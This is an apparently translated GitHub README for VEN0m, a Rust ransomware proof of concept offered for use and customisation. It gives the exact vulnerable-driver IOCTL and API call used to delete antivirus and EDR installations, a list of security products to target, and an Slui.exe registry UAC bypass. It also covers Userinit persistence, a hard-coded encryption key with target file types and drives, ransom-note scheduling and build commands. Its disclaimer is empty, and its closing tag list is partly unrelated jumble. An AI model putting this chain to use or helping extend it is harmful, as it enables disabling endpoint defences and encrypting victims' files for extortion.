xM0kht4r/VEN0m-Ransomware

GitHub: xM0kht4r/VEN0m-Ransomware

一款基于 Rust 的高级勒索软件 PoC,利用 BYOVD 技术和 UAC 绕过实现全面规避防御系统的完整攻击链模拟。

Stars: 352 | Forks: 87

# VEN0m 勒索软件 https://github.com/user-attachments/assets/5a1fc9b5-a647-41f6-a152-7b9d97381adc 本项目演示了如何将合法且已签名的驱动程序武器化,以规避防御系统并部署勒索软件,从而模拟真实的网络攻击。 # ## 主要特性 ### 规避 AV/EDR: VEN0m 采用了经典的 BYOVD 技术,但与 [AV-EDR-KILLER](https://github.com/xM0kht4r/AV-EDR-Killer) 不同,后者利用易受攻击的驱动程序向未授权用户暴露内核函数 `ZwTerminateProcess`,而 VEN0m 则利用了包含在 `IObit Malware Fighter v12.1.0` 中的易受攻击驱动程序,由于我们是将其用于规避检测,这多少有些讽刺。 这里所讨论的驱动程序是 `IMFForceDelete.sys`,它暴露了一个 IOCTL,允许未授权用户任意删除文件。此漏洞被追踪为 `CVE-2025-26125`,且该驱动程序目前仍未被列入 Microsoft 的黑名单中。 为了触发任意删除,我们只需调用 DeviceIoControl API,使用 IOCTL 代码 0x8016E000,一个指向代表目标文件的宽 Unicode 字符串的长 void 指针,以及总长度乘以 2(因为 wstr_file.len() 返回的是 u16 元素的数量,而每个元素为 2 个字节),然后将其转换为 u32,以符合 APIC 调用约定的 DWORD 参数要求。 ``` > DeviceIoControl(hDriver, 0x8016E000, wstr_file.as_ptr() as LPVOID, (wstr_file.len() * 2) as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut()) ``` #### + 有什么新内容? 我们直接在磁盘上粉碎安装文件夹和可执行文件。就这么简单! 这似乎是大多数防御产品的盲点,因为我们的目标是磁盘上的文件,而不是操纵内存或进行可疑的调用。利用我们的 IMFForceDelete.sys 驱动程序,我们可以强制删除具有高权限的锁定文件。直接攻击 AV 或 EDR 产品听起来似乎有悖常理,因为攻击者通常旨在通过隐蔽手段绕过防御,而不是与之对抗。 通过使用这种技术,我们不断破坏正在运行的 EDR/AV 进程,直到它们逐渐失效并停止正常工作,这为我们大肆破坏并部署所选的载荷 VEN0m 敞开了大门。 + 您可以通过修改常量 **TARGETS** 来扩展或调整目标 AV/EDR 列表: ``` const TARGETS: &[&str] = &[r"C:\Program Files (x86)\Kaspersky Lab", r"C:\Program Files\Bitdefender", r"C:\Program Files\Bitdefender Agent", r"C:\Program Files\Windows Defender",]; ``` # ### UAC 绕过: 为了绕过 UAC 提示,我们劫持了已签名的 Microsoft 二进制文件 `Slui.exe` 的执行流,该文件在管理上下文中使用 `runas` 动词调用时,支持自动提权而不会触发提示。 核心漏洞利用发生在 `Slui.exe` 尝试打开 `HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command` 下一个不存在的注册表键时。我们利用这一缺陷,创建了缺失的键并插入 `DelegateExecute` 指向我们当前的载荷,以委派执行。随后,我们通过带有 `runas` 动词的 `ShellExecuteW` API 调用触发 `Slui.exe` 的执行,从而成功绕过 UAC。完整的实现可以在 `/src/uac.rs` 中找到。 # ### 驱动程序加载: 由于 VEN0m 绕过了 UAC 并以高完整性级别运行,它会自动将内嵌的驱动程序解压到临时文件夹中,并创建一个使用伪装名称(例如 `MicrosoftUpdate11.01`)的内核服务。它包含非常实用的检查机制,可在服务停止时自动启动服务,或者在其已存在时放弃创建。 # ### 持久化: 在主机防御被中和后,您可以选择任何您想要的持久化技术。 我采用了一种简单的 `Winlogon Userinit` 技术,该技术利用了 `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` 下的 `Userinit` 注册表键。默认情况下,此键将 `userinit.exe` 指定为值,该值在用户登录时执行以初始化用户环境。 然而,我们通过在合法的 `userinit.exe` 后附加我们的载荷路径(以逗号分隔)来劫持这一点,同时还会在 `%LOCALAPPDATA%` 中释放一份恶意软件的副本。 # ### 加密: 该勒索软件会扫描指定驱动器中具有目标扩展名的文件,同时根据排除列表进行过滤。匹配的文件将使用 32 字节的硬编码密钥进行加密,其扩展名会更改为 `.vnm`。 您可以通过修改以下常量来自定义行为: + **KEY** 用于指定加密密钥: ``` const KEY: &[u8; 32] = b"G7m9Xq2vR4pL8bF1sW0cZ6kD3jN5yH8u"; ``` + **XClUSIONS** 用于指定排除的目录和文件夹: ``` const XClUSIONS: &[&str] = &["Windows", "Program Files", "Program Files (x86)", "ProgramData", "$Recycle.Bin", "All Users"]; ``` + **XTENSIONS** 用于扩展或调整目标扩展名列表: ``` const XTENSIONS: &[&str] = &["pdf", "doc", "xlms", "png", "jpg", "jpeg", "txt", "mp4"]; ``` + **DRV** 用于指定目标驱动器: ``` const DRV: &[&str] = &["C:\\", "D:\\", "E:\\", "F:\\"]; ``` # ### 勒索信: 完成加密后,VEN0m 会更改桌面壁纸,并在桌面上释放一个可执行的勒索信。它还会注册一个计划任务,每隔几分钟运行一次以启动勒索信 GUI,显示一个炫酷的骷髅头 ☠️。 + 您可以通过将 `/assets/wallpaper.jpg` 替换为您自己的图像来自定义壁纸。 + 您可以通过编辑 `/src/task.rs` 来修改计划任务的属性。 # ### 解密工具: VEN0m 还包含一个解密工具 `Antid0te.exe`🧪,它会扫描扩展名为 `.vnm` 的文件,并使用加密时指定的相同密钥来逆转加密过程。 ## 自定义: VEN0m 具有高度的模块化和可定制性。您可以通过修改硬编码的常量来改变勒索软件的行为。您还可以通过将其与您选择的权限提升漏洞或横向移动技术相结合,将其提升到一个新的水平 :) # ## 用法: 1. 将您的 .ico 图标和自定义壁纸放置在 /assets 中 2. 编译二进制文件: ``` > cargo build --release --bin Note --features 1 > cargo build --release --bin Antid0te --features 2 > cargo build --release --bin VEN0m ``` # ## 🔒 免责声明 ## 🤝 合作 欢迎贡献和建议!如果您有“道德”方面的业务咨询或希望合作,请随时通过以下方式联系:M0kht4rHacks@protonmail.com #

用 ❤️ 制作,灵感来自 Petya、WannaCry 等。

VEN0m 是一只在我的旅程中给予我启发的黑色流浪猫。

标签:AV绕过, BYOVD, CVE-2025-26125, DNS 反向解析, EDR绕过, FastAPI, FUD, IMFForceDelete.sys, IObit Malware Fighter, IOCTL, Rust语言, TGT, Web报告查看器, 中高交互蜜罐, 内核驱动, 勒索软件, 可视化界面, 恶意软件开发, 攻防演练, 数据展示, 文件强删, 端点可见性, 红队, 网络协议, 网络安全, 通知系统, 防守规避, 隐私保护, 驱动漏洞, 高交互蜜罐